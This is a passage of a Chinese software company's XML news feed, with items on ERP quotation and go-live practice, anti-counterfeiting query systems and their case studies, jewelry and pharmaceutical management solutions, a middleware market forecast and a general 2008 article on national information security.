(1)最底价格的限制，可以防止业务员没有低线的报价。
在报价单中，企业可以设置每个产品的最底价格，销售用户在给企业报价时，不能低于这个价格，若低于这个价格，系统是不允许审核的;也不允许其带到销售定单等相关的单据上去。
(2)对于不同季节，可以采用不同的报价单。从而实现价格的季节性变化管理。
企业有些产品，随着季节的不同，价格呈周期性变化。为此，一般的方法，是通过价格有效期限进行管理。但是，有一些用户觉得利用这个更改太麻烦，为此，可以通过价格表来进行管理，即方便，又不容易出错。如某个产品，上半年跟下半年的价格不一样，分别为100元与130元，下半年由于材料等原因，要比上半年贵 30元。如此，就可以开两张报价单，一张上半年的，价格为100元，一张下半年的，价格为130元。如此，就可以通过报价单转换销售定单的功能，上半年的销售定单用上半年的报价单转，下半年用下半年的报价单转，从而满足企业的需求。 </text>
<image> </image>
<keywords>软件开发,ERP,系统,报价单,妙用, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:06 </pubDate>
</item>
<item>
<title>[软件开发]ERP系统切换切记“三要三不要” </title>
<link>http://www.youjoys.cn/knowledge/20110724/8.html </link>
<description>ERP系统实施到将要切换时，成功已经近在咫尺，不过还有咫尺天涯的说法，在最后阶段栽跟头也不鲜见。切换时需要做些什么，不要做些什么，我总结了三要三不要。 一、要充分准备数据，不要偷工减料 ERP的成功三分靠软件，七分靠实施，十二分靠数据，这句话很多 </description>
<text>　
    	ERP系统实施到将要切换时，成功已经近在咫尺，不过还有咫尺天涯的说法，在最后阶段栽跟头也不鲜见。切换时需要做些什么，不要做些什么，我总结了&amp;ldquo;三要三不要&amp;rdquo;。
一、要充分准备数据，不要偷工减料
&amp;ldquo;ERP的成功三分靠软件，七分靠实施，十二分靠数据&amp;rdquo;，这句话很多人都听到过，也能理解，但不一定知道如何做才算数据准备充分。诚然，选择不同的软件系统，不同的顾问对数据准备的要求不尽相同，但是差别不会很大。关键在于数据准备详细到什么程度，如物料的计划参数，按照严格的要求每个物料都需要定义，而且定义的计划参数应该同现实一致，否则ERP系统的计划功能不可能顺利运转。
二、要坚持应用系统，不要随意另搞一套
世上没有十全十美的事物，ERP也不例外。理论上说ERP可以覆盖企业管理的方方面面，实际上并非如此。即便能够实现，也是一个过程，通常在实施的几个月内是不可能达到的。
三、要有应急处理方案，不要搞并行操作
不少人喜欢在ERP系统切换上线后搞一段时间的并行操作，觉得这是最保险的，非如此不可。此说流传甚广，流毒也甚广，并行操作有百害而无一利，是必须抛弃的大谬论。
并行操作可能源自会计电算化的要求，会计电算化要求&amp;ldquo;在实施用计算机替代手工记账前，用计算机进行会计核算与手工须同步运行一定时间，并取得相一致的结果&amp;rdquo;，既然政府部门要求财务部分必须并行操作一段时间，通常是三个月，虽然我认为这种并行没有必要，但是也没有讨价还价的余地。不过即便如此，也仅是财务部分需要并行操作，这不意味着整个ERP系统尤其是生产管理需要并行操作。
支持并行操作的理由之一是新的系统刚开始使用，为了保证日常业务正常运行，不受数据准备、系统稳定性、人员熟练度等影响，有必要旧系统并行操作一段时间。看上去有道理，实际推敲并非如此。
以计划为例，如果原先采用手工计划，现在使用MRP计划，二者必然有差异，实际下达的计划到底以哪个为准，如何做到并行操作呢？
ERP系统上线后，原始单据如订单、出入库单、发运单、领料单等都从系统中产生，在公司业务活动中不可能出现新旧两种原始单据同时流转，没有原始单据，旧系统没有存在的基础了。
生产系统对数据的时效性要求很高，新旧系统中库存数量不同，可能都是对的，只是库存数据的时间点不同而已。财务系统有月底结账，只要月底余额一致即可，生产系统则要求随时一致，企业能有足够的资源保证生产的新旧系统的并行操作，从而达到数据随时一致吗？ </text>
<image> </image>
<keywords>软件开发,ERP,系统,切换,切记,三要三不要, </keywords>
<category>编程知识 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2011-07-24 00:06 </pubDate>
</item>
<item>
<title>悠久产品防伪系统H7.5开源发布 </title>
<link>http://www.youjoys.cn/news/conews/20110724/57.html </link>
<description>悠久产品防伪系统H7.5开源发布！当消费者在市场上购买了贴有防伪标识的产品后，刮开防伪编码的遮盖涂层或揭开标识的表层，就可看到一组防伪编码。按防伪标识上面的提示，将防伪编码输送到产品防伪查询系统。产品防伪查询系统收到防伪编码信息后，将防伪编码 </description>
<text>
	悠久产品防伪系统H7.5开源发布！当消费者在市场上购买了贴有防伪标识的产品后，刮开防伪编码的遮盖涂层或揭开标识的表层，就可看到一组防伪编码。按防伪标识上面的提示，将防伪编码输送到&amp;ldquo;产品防伪查询系统&amp;rdquo;。&amp;ldquo;产品防伪查询系统&amp;rdquo;收到防伪编码信息后，将防伪编码与中心数据库中的数据进行比对，并立即将比对结果回复给消费者，使消费者能够识别手中产品的真伪，从而保证了消费者购买到的是正牌产品。
 </text>
<image>http://www.youjoys.cn/uploads/110724/1-110H41343414D.jpg </image>
<keywords>悠久,产品防伪,防伪系统,开源发布 </keywords>
<category>公司新闻 </category>
<author>悠久软件 </author>
<source>软件开发公司 </source>
<pubDate>2011-06-15 13:43 </pubDate>
</item>
<item>
<title>SKH邮件监控管理系统 </title>
<link>http://www.youjoys.cn/case/20110725/96.html </link>
<description>SKH邮件监控系统 </description>
<text>
	SKH邮件监控管理系统，邮件收发老板先知
 </text>
<image> </image>
<keywords>邮件监控,监控系统 </keywords>
<category>成功案例 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2011-04-05 10:49 </pubDate>
</item>
<item>
<title>买虚拟主机送正式版防伪查询系统！免费安装调试！ </title>
<link>http://www.youjoys.cn/plus/view.php?aid=99 </link>
<description>买虚拟主机送正式版防伪查询系统！免费安装调试！ </description>
<text>
	买虚拟主机送正式版防伪查询系统！免费安装调试！
 </text>
<image>http://www.youjoys.cn/uploads/allimg/110724/1-110H41219540-L.jpg </image>
<keywords>虚拟主机,送正式版,防伪,查询,系统,免费,安装,调试 </keywords>
<category>公司新闻 </category>
<author>软件开发公司 </author>
<source>软件开发公司 </source>
<pubDate>2011-03-15 12:09 </pubDate>
</item>
<item>
<title>中国保护消费者网产品防伪查询系统 </title>
<link>http://www.youjoys.cn/case/20110725/94.html </link>
<description>中国保护消费者网产品防伪查询系统 </description>
<text>
	中国保护消费者网产品防伪查询系统

	http://315.cfcp.cn/
 </text>
<image> </image>
<keywords>保护消费者网,产品,防伪,查询,系统 </keywords>
<category>成功案例 </category>
<author>深圳软件公司 </author>
<source>未知 </source>
<pubDate>2010-08-20 10:45 </pubDate>
</item>
<item>
<title>黄金珠宝饰品管理系统 </title>
<link>http://www.youjoys.cn/solutions/20110724/12.html </link>
<description>黄金珠宝饰品管理系统 双击自动滚屏 一、 背景 黄金珠宝玉器商品和普通商品有很大不同，由于商品的属性完全不同，不能用目前通用的进销存软件或POS系统来理。大部分单位业务均以纯手工方式进行运作，工作负荷大，容易出差错，也根本无法对每一种饰品进行科学 </description>
<text>
	黄金珠宝饰品管理系统
	双击自动滚屏&amp;nbsp;&amp;nbsp;

	
	一、 背景
	黄金珠宝玉器商品和普通商品有很大不同，由于商品的属性完全不同，不能用目前通用的进销存软件或POS系统来理。大部分单位业务均以纯手工方式进行运作，工作负荷大，容易出差错，也根本无法对每一种饰品进行科学、准确、定量的经营管理。本系统提出以条码管理黄金、珠宝饰品，实行一品一码，从而达到管理的目的。
	二、 系统要求
	给每一饰品打印唯一条码，利用条码对黄金饰品部的商品进行进销存管理，可对仓库、柜台库存查询、盘点，能及时查询商品的状态；盘点后可生成购销存月报表。
	三、 方案、
	仓库管理中最重要的一项工作就是保证帐面数量与实物数量一致，使用数据采集器可以很方便的实现商品收货记录的准确性及发货、配送的自动化，使盘点存货不会有遗漏和丢失。 由于产品种类很多，在实际仓库管理中通过手工记录和保管员记录很难保证产品准确的先入先出。通过单体跟踪技术，可以给每个产品内置一个时钟，也可以记录每个产品完好状态，这样就能保证按指定要求期限实现商品的出库作业。

	2． 主要模块
	系统的主要功能如下：
	[1]系统参数设定
	[2]基本资料录入
	商品资料录入
	属性包括条码、名称、类别、厂家、部门、克重、工费、成色、价格、打印标志、进仓日期、进柜日期、销售日期、退货日期、录入人员工号、营业员工号等，并自动提供相关进销存信息。
	类别资料录入
	属性包括编号、名称等。
	厂家资料录入
	属性包括编号、名称、地址、电话、传真、联系人、帐号、税号等，并自动提供进货总额、已付总额、应付总额等信息。

	[3]凭证票据录入
	商品进货单（含进货退货单）
	更正通知单（黄金切割销售使用）
	进柜单（含进柜退货单）
	仓库损益单（含仓库溢余单）
	销售单（含销售退货单）
	盘点单
	调价单（工费调价，黄金价格调整）
	添金调换单（旧金调换新黄金）

	[4]商品条码打印
	指定商品打印
	修改价格后所有库存打印
	[5]金价授权修改
	授权人对商品价格进行调整
	[6]查询统计报表
	各种基本资料
	各种票据资料
	各种进销存汇总报表
	定制报表
	消费税报表

	3． 硬件
	本系统所需硬件为PC Server, PC选型由用户按实际情况确定。
	手持终端建议使用 Casio DT-900
	条码打印机建议使用TSC TTP-243e

	四、系统硬件
	悠久软件公司为珠宝企业提供如下条形码扫描、打印及数据采集设备：TSC 系列条码标签打印机；Acan系列条码扫描器；CASIO系列激光一体数据采集终端。
 </text>
<image> </image>
<keywords>黄金珠宝饰品管理系统 </keywords>
<category>解决方案 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2010-03-10 00:46 </pubDate>
</item>
<item>
<title>香港丰尔连锁进销存管理系统 </title>
<link>http://www.youjoys.cn/case/20110725/98.html </link>
<description>香港丰尔连锁进销存管理系统，广域网构架，三层数据，全网销售网点库存进销管理 </description>
<text>
	香港丰尔连锁进销存管理系统，广域网构架，三层数据，全网销售网点库存进销管理
 </text>
<image> </image>
<keywords>香港,丰尔连锁,进销存,管理系统 </keywords>
<category>成功案例 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2009-12-25 11:09 </pubDate>
</item>
<item>
<title>香港丰尔美体产品防伪系统 </title>
<link>http://www.youjoys.cn/case/20110725/97.html </link>
<description>香港丰尔美体产品防伪系统定制 </description>
<text>
	香港丰尔美体产品防伪系统定制

	http://www.hkfenger.com/fangwei/
 </text>
<image> </image>
<keywords>香港,丰尔,美体,产品,防伪,系统 </keywords>
<category>成功案例 </category>
<author>深圳软件公司 </author>
<source>未知 </source>
<pubDate>2009-11-25 11:05 </pubDate>
</item>
<item>
<title>防伪系统登录后台提示密码错误 </title>
<link>http://www.youjoys.cn/service/faq/2011/0725/92.html </link>
<description>问：为什么防伪系统登录后台提示密码错误？

答：此问题一般存在于免费版Acess版本中，一般是由于程序没有安装在根目录下，且没有修改数据库链接文件造成的。

请仔细阅读安装说明，并对照修改conn文件。 </description>
<text>
	问：为什么防伪系统登录后台提示密码错误？

	答：此问题一般存在于Acess版本中，一般是由于程序没有安装在根目录下，且没有修改数据库链接文件造成的。

	请仔细阅读安装说明，并对照修改conn文件。
 </text>
<image> </image>
<keywords>防伪系统,登录后台,提示,密码错误 </keywords>
<category>常见问题 </category>
<author>软件设计公司 </author>
<source>软件开发公司 </source>
<pubDate>2009-05-19 10:17 </pubDate>
</item>
<item>
<title>GEO隐形眼镜产品防伪系统 </title>
<link>http://www.youjoys.cn/case/20110725/93.html </link>
<description>悠久为GEO定制隐形眼镜产品防伪系统，sql数据库+存储过程，可承受千万级数据 </description>
<text>
	悠久为GEO定制隐形眼镜产品防伪系统，sql数据库+存储过程，可承受千万级数据

	http://www.geocheck.cn
 </text>
<image>http://www.youjoys.cn/uploads/allimg/110725/1-110H51039470-L.jpg </image>
<keywords>GEO,隐形眼镜,产品,防伪,系统 </keywords>
<category>成功案例 </category>
<author>软件开发公司 </author>
<source>软件设计公司 </source>
<pubDate>2008-10-22 10:37 </pubDate>
</item>
<item>
<title>医药商业企业ERP方案 </title>
<link>http://www.youjoys.cn/solutions/20110724/10.html </link>
<description>一、 行业背景 医药流通行业是商业流通企业的重要组成部分，随着2002年我国成功加入WTO，我国的医药流通领域必定向高效率、少环节、低成本方向发展，整个市场将由以前的小流通，低效率朝向信息化，全流通的方向发展，结果将是整个市场呈现高度集中性，市场的 </description>
<text>
	一、 行业背景

	&amp;nbsp;&amp;nbsp;&amp;nbsp; 医药流通行业是商业流通企业的重要组成部分，随着2002年我国成功加入WTO，我国的医药流通领域必定向高效率、少环节、低成本方向发展，整个市场将由以前的小流通，低效率朝向信息化，全流通的方向发展，结果将是整个市场呈现高度集中性，市场的格局将发生根本性改变。对于众多的医药商业企业来说，这则意味着优胜劣汰，医药商业企业只有朝着规范化、规模化、信息化发展，才有出路。而医药商业企业之间的竞争将主要集中在低成本的商品和高效率的服务，实质将是经营观念和经营模式创新的竞争。

	二、 医药流通企业在管理服务中所遇到的典型问题：

	　　1、 医药商品种类繁多，几万种商品的管理相当困难。由于客户量大，每天前台销售开票、收款，要求速度较快，而很多药店只采用手工开票，效率极低。
	　　2、 药品和化学剂作为一种特殊的商品，对批次号和有效期的要求相当高，但手工操作使管理者很难及时了解哪一批次号的商品是否超过有效期，给企业带来了许多不必要的损失。
	　　3、 医药产品的销售有自己独特的要求，也就是常说的&amp;ldquo;三角账&amp;rdquo;，销售顺序是厂家将医药产品发货给批发站，批发站又将医药产品发货给医院，这期间仅仅是物流；而资金流动方向正相反，医院将产品全部或部分卖出后与批发站结款，批发站收款后再与厂家结算；当然退货过程与销售过程正好相反。这种复杂的处理流程对手工操作来讲是很难及时、准确地处理好。
	　　4、 物流管理纷乱，实际操作中的&amp;ldquo;分购分销&amp;rdquo;既不符合GSP&amp;ldquo;统购分销&amp;rdquo;的原则，也不利于集团公司规模化经营优势的体现，至使公司药品管理混乱，经营成本居高不下。
	　　5、 库存占用了大量资金，严重影响了企业资产的活力，同时也带来了库存管理等一系列问题。

	三、脑库PM医药商业企业解决方案

	1、 PM解决方案的特点

	　　与其它系统解决方案类似，脑库PM医药商业企业解决方案是同意建立在脑库PM核心键PMC之上的，进行ERP系统的开发。完全满足医药行业质量管理规范(GSP)的要求&amp;ldquo;即插即用的管理插件&amp;rdquo;可以使企业从容面对环境的改变；原子化的任务颗粒度能使企业做到精细核算，降低成本，提高资金利用率；&amp;ldquo;知识流&amp;rdquo;保证企业在规范化管理的同时保持企业的个性特征。

	2、PM解决方案

	&amp;nbsp;&amp;nbsp;&amp;nbsp; ● 强化基础数据管理
	　　通过采用PM/MPCS，基于计算机强大的计算功能和信息传递的及时性和准确性，可以定义货品、客户、库存位置，这些数据均采用标识码、操作码和分类编码表示，可以方便地查询和统计。系统还可按运输方式、运输线路、每个客户或仓库的运输地点、车辆清单及装运能力、外运单位清单的体系描述运输资源。
	　　● 灵活的批次号管理
	　　PM系统中有专门针对医药行业特点设计的仓库管理模块，完全支持批次号管理，在出库时，系统会根据预先设置的条件（批次优先或是批号优先）决定此次出库应该先出哪些货品，减少库存损失。
	　　● 方便的销售结算管理
	　　支持多种形式的结算方式。对先发后结算的销售，能以发出应收帐的方式进行明细管理，保证客户资金占用数据的完整性，明细程度可以细到每个客户的货品数量。此外，系统拥有的&amp;ldquo;信誉额度管理&amp;rdquo;也能有效地降低企业的呆帐、死帐，保证资金运转的高效、顺畅。
	　　● 成立大型物流中心，实现统一采购，分散销售。
	　　模式1：各公司都有自己的物流中心，根据各公司的采购计划汇总各商品的进货计划，统一采购后，再分配到各公司。
	　　模式2：各公司成立一个统一的物流中心，由物流中心给各公司的客户及门店进行配货。
	　　● 采用现代供应链方法有效控制库存

	　　影响库存的因素是多方面的。PM系统根据现代供应链的方法设置了提前期、平均流速、安全系数、批量、批量周期、相对补货频度等多个参数，计算出企业所需要的库存上下限， 又通过对企业业务的综合管理，包括采购、销售、进货策略、库存控制等全过程，从各个方面抑制了库存的增长，建立起企业的良性运转机制。

	四、企业应用效果分析及评估

	　　脑库软件在近十年的时间内，将其该解决方案应用到多家医药流通行业用户，取得了良好的实施效果。

	　　基本上各家企业都达到了如下效果：

	　　1、提升了三个能力、提升决策控制能力。

	　　2、支持大规模的业务运行

	　　3、实现业务财务一体化

	　　业务自动生成财务。全面解决了&amp;ldquo;什么数据是属于业务，什么数据是属于财务&amp;rdquo;这一核心问题。业务系统的＂传票＂成为联系财务系统的桥梁，完整地对应财务各个分录，为业务自动生成财务凭证奠定了坚实的基础。

	　　实时管理监督。总部能实时动态地掌握各下属单位财务、业务状况，共享业务数据，加速内部物流资金的协调与运作。使财务变事后核算为事前控制，财务直接对业务的全程进行检测、控制。

	&amp;nbsp;&amp;nbsp;&amp;nbsp; 提升单据处理。业务反应加快，以每分钟计可随时了解库存情况。
	&amp;nbsp;&amp;nbsp;&amp;nbsp; 明晰帐务关系。应收、应付、预收、预付、采购、发出、库存帐清晰准确。

	&amp;nbsp;&amp;nbsp;&amp;nbsp; 4、有效执行企业经营管理规范

	　　价格控制：公司实现全自动确定和执行相应价格。效率高，准确性好。
	　　信誉控制：建立应收帐款的严格对应关系，建立客户档案及企业级的信誉额度，将费用管理和业绩考核具体到业务员级。
	　　付款控制：业务与财务有效衔接，库存、销售等相关业务数据及时反映到财务，系统能自动执行原定的付款计划。
	　　运输控制：通过&amp;ldquo;调度细单&amp;rdquo;，将运输调度与仓库的出入库务紧密联系，使运输调度成为物流管理关键环节，提高效率，降低强度，用有限资源创造最大价值。
	　　采购控制：采购、仓库与业务系统实现统一，采购部门实时了解到货与库存情况，系统全自动产生库存管理模型，给出最优建议。

	　　经营指标显著提高

	　　通过系统整合，经营结构、品种结构、库存结构、资金结构进一步优化，加快资金周转，降低经营成本，经济效益显著。

	　　效益来源于过程，医药商业企业的主要业务过程就是货品与资金的流转交替运作。从进货到库存再到销售，即是一次完整的过程。这个过程设计得越合理，出错率就越小，周期就越短，资金周转的速度就越快，企业效益就会成倍增加。商业管理软件的任务就在于运用计算机的海量记忆能力和精确快速的数据处理和数据传输，调配好&amp;ldquo;供应商&amp;mdash;企业&amp;mdash;用户&amp;rdquo;这条链上的所有资源，使它们在合理的时候以合理的方式组合，从而将企业的物流过程打造成一条盈利通道。脑库软件根据KRM思想开发的PM3软件，能够成功解决长期困扰医药企业的顽症，为整个企业的发展注入了强劲的动力，使企业具备应对未来机遇与挑战的创新思路。我们期待着更多的医药商业企业通过应用先进的管理思想取得长足的发展，并摸索出自己的创新之路。
 </text>
<image> </image>
<keywords>医药商业企业ERP方案 </keywords>
<category>解决方案 </category>
<author>软件开发公司 </author>
<source>软件设计公司 </source>
<pubDate>2008-07-22 00:43 </pubDate>
</item>
<item>
<title>2011年中国中间件市场将达到22亿人民币 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/52.html </link>
<description>根据易观国际《中国中间件市场趋势预测2007-2011》研究表明，2011年中国中间件市场规模将达到22亿元，从2007年到2011年的市场规模年均复合增长率为10.73%。 中国中间件市场规模预测2007-2011 国家高度重视和支持中间件软件产业的发展，陆续出台了国务院18号 </description>
<text>
	&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;根据易观国际《中国中间件市场趋势预测2007-2011》研究表明，2011年中国中间件市场规模将达到22亿元，从2007年到2011年的市场规模年均复合增长率为10.73%。

	　　中国中间件市场规模预测2007-2011

	　　国家高度重视和支持中间件软件产业的发展，陆续出台了国务院18号文件、47号文件等政策大力扶持国内中间件产业的发展。在十七大提出&amp;ldquo;以信息化带动工业化&amp;rdquo;，将信息化建设摆到了极为重要的位置上。企业信息化建设的路径普遍为：从初级应用开始，经过流程应用、专业应用，到集成应用。当信息化建设发展到一定阶段后，必须利用IT技术将各IT系统的数据与应用集成起来，避免企业内部出现多个数据孤岛。随着企业信息化建设向纵深方向发展，将有更多的企业用户进入集成应用的阶段，对中间件产品的需求也进一步上升。

	　　另外，电子商务与电子政务的进一步发展，也将带动中间件产品需求的上升。电子商务的进一步发展，将使得金融网络与商业网络等的互联互通愈发重要。在开发、部署和整合电子商务应用的过程中，需要中间件作为软件平台，从而解决电子商务应用的互连和互操作的问题。我国电子政务建设目前的重点是加强集成和整合，也正处于大规模使用中间件产品的阶段。

	　　2006年以前，主要是IBM、Oracle、BEA等厂商对SOA的概念进行市场的启动和宣传，传达自身对于SOA的理解和实施。从2007年开始，厂商开始将已经成功实施的SOA案例作为标杆进行宣讲。用户对于SOA的认知程度有了一定程度的加深，也开始对SOA的实施过程以及收益进行考察和研究。作为将SOA落地的相关中间件产品的需求将搭载SOA而有所提升，但是预计到2008年，才会对中间件整体市场有一个比较大的促进作用。

	　　但是，从对中间件市场发展的阻碍因素来看，主要包括如下几点：一是中间件的应用仍然主要集中在电信、金融和政府三个行业当中，普及程度不高。医疗、教育、零售等行业用户对于中间件的作用仍然比较模糊，相对来说，限制了中间件市场的进一步增长。同时，相关行业的SI与ISV尽管部分地采用了中间件产品，由于将其封装在自身提供的解决方案当中，对提升终端企业用户的认知作用有限。但是，这一现象伴随中间件厂商大规模的市场活动以及对SMB市场的重视，将在2008年以后有所缓解。另外，由于缺乏雄厚的资金支持，因而国内中间件厂商在研发方面的投入普遍弱于国外厂商，。国家加大对国内软件厂商的支持力度是一方面，厂商对于自主研发所形成的核心竞争力应有足够的认识，通过自身的努力，加强这方面的投入。
 </text>
<image>http://www.youjoys.cn/uploads/110726/1-110H60T45A51.gif </image>
<keywords>2011,年中国,中间件,市场,达到,22亿, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-07-15 22:46 </pubDate>
</item>
<item>
<title>ERP发展应改变思路行业信息化差距不明显 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/33.html </link>
<description>从90年代开始，中国做ERP软件的企业带有一种自负，认为ERP软件不仅是一个工具，更是一种管理思想，并提出顾问式销售这种销售理念，试图想把这种管理思想加给用户，让用户不仅能使用工具并有好的管理思想。钟小满认为这个出发点是非常好的，但是从实际运作来看 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;从90年代开始，中国做ERP软件的企业带有一种自负，认为ERP软件不仅是一个工具，更是一种管理思想，并提出顾问式销售这种销售理念，试图想把这种管理思想加给用户，让用户不仅能使用工具并有好的管理思想。钟小满认为这个出发点是非常好的，但是从实际运作来看，大多数软件在客户那里都水土不服。&amp;nbsp;　　没有客户，只有合作伙伴&amp;nbsp;　　软件公司作为一个IT企业，对管理的理解和管理的认识，可能远远会落后于真正使用者对他的认识，用这么一个固化的东西套在一个顾客身上，让用户放弃自己经营上的习惯，将就这个软件，这样会使企业在实施过程中很为难，最终导致失败，或者勉强使用。所以早期ERP实施很不成功，这个因素比较多。从选型的角度来说，一个顾客应该怎么选择自己的产品？他应该先对自己要做的事情有一个比较好的了解，这样对于他选择什么样的工具帮助他才好做这种规划。&amp;nbsp;　　做软件时将自己放在不懂得管理的角色上，只为顾客提供一个工具，如果从这个理念出发会比较谦虚的面对顾客。钟小满认为，根据顾客的要求改造产品，适应他，让他的管理思想在这个工具里充分的发挥。用这种理念做，顾客才会得到很强的认同感，感觉物超所值，这个软件才是为他提供了真正的服务。&amp;nbsp;　　时空超越网站上口号是“没有客户，只有合作伙伴”。钟小满认为，做信息化的产品和做其他的生意有一个很大的差别，就是信息化的产品的交付实际上是一个长期过程，这个长期过程不是一个买卖双方就结束了，它必须得有一个合作的过程，比如说像信息化在一个企业真正实施好的话，他得需要双方做大量的配合，这个过程不能是对立的双方，不能说作为甲方、乙方做，这样信息化很可能会失败。只有作为一个整体，作为一家人，才会成功。要追求多赢实际上是多方面的，一是软件开发商，终端可能是最终使用顾客，这中间可能还有软件销售商，软件服务商等等，中间会有很多的环节。其实这些环节都不应该是对立，从时空的角度来看，大家是一个合作的过程，不是一个买卖。&amp;nbsp;　　整个IT业在中国经营都比较艰难，利润率相对来说比较低，人员成本过高，对于每一个做信息化的企业来说都感觉自己在红海中挣扎，时空也不例外。但是到底蓝海在哪儿？这还是一个探索的过程，钟小满认为认为真正的蓝海应该在互联网，最后一定要走向互联网，从销售软件的时代可能会逐步淡化下去，而服务的时代会来临，作为一个IT企业和一个软件公司，为未来走向服务能做哪些准备？这可能是为的一个蓝海，当然这只是个人看法。&amp;nbsp;　　各行业流通信息化各有特点&amp;nbsp;　　医药行业是流通行业中的一个细分行业，它也必须符合流通行业的各种特色。但是国家对医药行业要求比较严，因为医药行业涉及到一些国计民生，实际上国家对它的运作模式是有一些要求的，比如，要达到GSP的认证，这些相对于其他领域算是一个特色。在经营模式差异医药行业也有一些。像批发行业，以前都是简单的批发、收取差价，医药行业的快批模式，物流和配送这种服务的延伸也和其他行业有所差别。&amp;nbsp;　　现在医药行业批发商开始从批发商转向代理商了，公司在做软件的时候也考虑到行业的变化。特别是这几年的变化非常大，每一个企业都在做不同的探索，从简单的药商到批发，然后到快批模式，到现在的快配模式，到现在的物流配送发生了很多改变，中间还有药品代理的过程。钟小满分析，药品代理可能还不能完全成为未来的主流，因为代理很多都是专职代理公司做一些分销，而批发商在这方面并没有特长，很多目标客户并不是医院，而在流通环节中。时空将对这个模式继续进行探索，围绕医药流通领域每一个环节，每一个目标客户进行调研。&amp;nbsp;　　除了医药流通领域，时空还涉及到很多行业，比如渔具、北京中复电讯、洗涤化妆、服装、器械类等20多个行业，但医药行业占到我们客户总量的70%。各种不同行业的企业对信息化服务的要求也各有特点，钟小满告诉我们，差别肯定会有，流通的大框架没有特别大的改变，但行业特色差距非常大。作为软件开发就应该把行业特点更好的孤立出来，抽象出来。比如要给渔具顾客的设计一款产品，就要求很快可以把它转换成没有医药特色的产品，然后再将一些渔具的特点外挂进去，让客户使用自然。&amp;nbsp;　　医药行业是时空生存的一个阵地，现在应该说做的比较好。但是时空是致力于流通领域信息化的发展。其他的行业可能不集中，时空在那些方面品牌不一定有医药这么响亮，但是时空服务的群体是整个商业流通领域。　 </text>
<image> </image>
<keywords>ERP,发展,改变,思路,行业,信息化, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-04-21 00:00 </pubDate>
</item>
<item>
<title>信息安全成两会热点系统防御亟须增强 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/34.html </link>
<description>近日，人大代表、浪潮集团董事长兼CEO孙丕恕提交了《全面落实安全等级保护制度、提升我国信息安全保护水平》的两会议案，并在政府报告审议中指出：“实现经济又好又快的发展必须依靠自主创新，提高自主创新能力也是企业发展的根本出路。”当前，随着信息化的 </description>
<text>&amp;nbsp;&amp;nbsp;&amp;nbsp; 近日，人大代表、浪潮集团董事长兼CEO孙丕恕提交了《全面落实安全等级保护制度、提升我国信息安全保护水平》的两会议案，并在政府报告审议中指出：“实现经济又好又快的发展必须依靠自主创新，提高自主创新能力也是企业发展的根本出路。”当前，随着信息化的不断深入，信息安全对经济、社会发展的影响愈发明显，而我国在信息安全防御上的脆弱也是不争的事实，因此，加大对信息安全技术、产品上的创新力度成为当务之急。&amp;nbsp;　　2007年，我国的信息安全遭受了严峻的考验，熊猫烧香、灰鸽子等疯狂肆虐，造成了数以百万计的经济损失，而境外网络间谍对政府等关健信息系统的侵入、破坏、窃密行为，则直接危及到国家安全。据国家计算机网络应急技术处理协调中心的报告显示，仅07年上半年，就已发现数万个大陆地区以外的木马控制端IP，所控制的主机遍及北京、上海等大城市，其造成的危害波及政府、金融、科研等关键行业。&amp;nbsp;　　业内专家分析，造成这种现状的原因，一方面是信息安全防护能力较弱，跟不上信息化建设的步伐，同时用户安全意识薄弱也是攻击事件频发的祸因；另一方面，缺乏自主产权的高端信息设备特别是高端安全产品。目前，一些行业仍然在使用国外的信息产品，给信息安全建设埋下了安全风险。&amp;nbsp;　　服务器是信息系统的重要核心部件，承载着全部的应用程序及信息数据，一旦被毁坏，整体的信息系统将彻底崩溃。而由于其强大的性能及承载信息的重要性，服务器往往比个人主机更容易受黑客的青睐。目前，在服务器的安全防御上，用户所普遍关注的是应用层、网络层的安全，基于这些层面的安全产品如防火墙、入侵防御系统、入侵检测系统等已很丰富，而在系统层面的安全意识则极为淡薄，安全投入也很少，制约了整体信息安全水平的提升。&amp;nbsp;　　众所周知，黑客、病毒所发动的网络攻击中，绝大多数是针对操作系统的，只有一小部分针对应用程序。因此，在抵御此起彼伏的攻击时，操作系统就成为首当其冲的关键部分。而我国所普遍采用的均为国际通用操作系统，这些系统本身存在的安全漏洞常常给黑客提供了长驱直入的便利，使黑客能随时发动入侵、破坏行为。&amp;nbsp;　　操作系统一旦被攻破，服务器将成为敞开大门的仓库任人攫取，更有甚者，将面临着全盘毁坏的风险，根本无安全、稳定性可言。同时，操作系统上存有的重要业务应用及敏感数据信息也会成为任人毁坏、窃取的对象，之前所建立的信息安全保障体系将会形同虚设，整体信息系统岌岌可危。因此，安全领域的权威专家呼吁广大用户转变传统的安全理念，增强对操作系统安全的关注。&amp;nbsp;　　在操作系统的安全防御上，国际上普遍认可的方法是通过在系统内核级进行安全加固，构造一道安全屏障，从而抵御病毒、黑客对操作系统的攻击。目前，我国已进行这方面的自主研发，但由于受技术及资金所限，部分安全企业仍处于实验室阶段。随着操作系统安全需求日渐增强，将会有越来越多的企业加大对这方面的投入力度。&amp;nbsp;　　随着信息全球化的发展，信息安全将会成为衡量一个国家国防能力的重要标准。信息安全水平的提升，需要企业加大对安全技术特别是操作系统安全技术自主研发的投入力度，更需要政府对自主创新的政策扶持力度。此外，用户信息安全理念的成熟，也会促进信息安全保障体系的完善。相信通过政府、企业、用户三方的共同努力，我国的信息安全水平将会迈上一个更高的台阶。　 </text>
<image> </image>
<keywords>信息,安全,两会,热点,系统,防御, </keywords>
<category>行业动态 </category>
<author>软件设计 </author>
<source>软件开发公司 </source>
<pubDate>2008-04-21 00:00 </pubDate>
</item>
<item>
<title>零售企业信息化转型进入挖掘价值时代 </title>
<link>http://www.youjoys.cn/news/itnews/20110724/35.html </link>
